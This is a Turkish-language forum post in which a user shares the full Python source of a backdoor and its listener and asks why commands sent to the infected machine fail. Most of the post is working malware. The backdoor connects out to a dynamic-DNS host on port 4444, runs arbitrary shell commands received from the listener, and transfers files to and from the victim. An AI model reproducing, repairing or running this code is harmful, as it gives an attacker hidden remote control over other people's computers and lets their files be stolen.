Merhaba arkadaşlar, elimde bir adet python ile yazılmış backdoor ve dinleyici var. Her şey güzel çalışıyor fakat karşı tarafa yolladığım komutlar çalışmıyor. Nerede hata yaptım acaba..
dinleyici kodları:
Dir komutu vs calismiyor
dinleyici kodları:
Kod:
import socket
import json
import base64
class SocketListener:
def __init__(self,ip,port):
my_listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
my_listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
my_listener.bind((ip, port))
my_listener.listen(0)
print("Listening...")
(self.my_connection, my_address) = my_listener.accept()
print("Connection OK from " + str(my_address))
def json_send(self,data):
json_data = json.dumps(data)
self.my_connection.send(json_data)
def json_receive(self):
json_data = ""
while True:
try:
json_data = json_data + self.my_connection.recv(1024)
return json.loads(json_data)
except ValueError:
continue
def command_execution(self, command_input):
self.json_send(command_input)
if command_input[0] == "quit":
self.my_connection.close()
exit()
return self.json_receive()
def save_file(self,path,content):
with open(path,"wb") as my_file:
my_file.write(base64.b64decode(content))
return "Download OK"
def get_file_content(self,path):
with open(path,"rb") as my_file:
return base64.b64encode(my_file.read())
def start_listener(self):
while True:
command_input = input("Enter command: ")
command_input = command_input.split(" ")
try:
if command_input[0] == "upload":
my_file_content = self.get_file_content(command_input[1])
command_input.append(my_file_content)
command_output = self.command_execution(command_input)
if command_input[0] == "download" and "Error!" not in command_output:
command_output = self.save_file(command_input[1],command_output)
except Exception:
command_output = "Error"
print(command_output)
my_socket_listener = SocketListener("192.168.1.3",4444)
my_socket_listener.start_listener()[/QUOTE]backdoor
[QUOTE]import socket
import subprocess
import json
import os
import base64
class MySocket:
def __init__(self, ip, port):
self.my_connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.my_connection.connect((ip,port))
def command_execution(self, command):
return subprocess.check_output(command, shell=True)
def json_send(self, data):
json_data = json.dumps(data)
self.my_connection.send(json_data)
def json_receive(self):
json_data = ""
while True:
try:
json_data = json_data + self.my_connection.recv(1024)
return json.loads(json_data)
except ValueError:
continue
def execute_cd_command(self,directory):
os.chdir(directory)
return "Cd to " + directory
def get_file_contents(self,path):
with open(path,"rb") as my_file:
return base64.b64encode(my_file.read())
def save_file(self,path,content):
with open(path,"wb") as my_file:
my_file.write(base64.b64decode(content))
return "Download OK"
def start_socket(self):
while True:
command = self.json_receive()
try:
if command[0] == "quit":
self.my_connection.close()
exit()
elif command[0] == "cd" and len(command) > 1:
command_output = self.execute_cd_command(command[1])
elif command[0] == "download":
command_output = self.get_file_contents(command[1])
elif command[0] == "upload":
command_output = self.save_file(command[1],command[2])
else:
command_output = self.command_execution(command)
except Exception:
command_output = "Error!"
self.json_send(command_output)
self.my_connection.close()
my_socket_object = MySocket("denemev13.duckdns.org",4444)
my_socket_object.start_socket()
Moderatör tarafında düzenlendi:

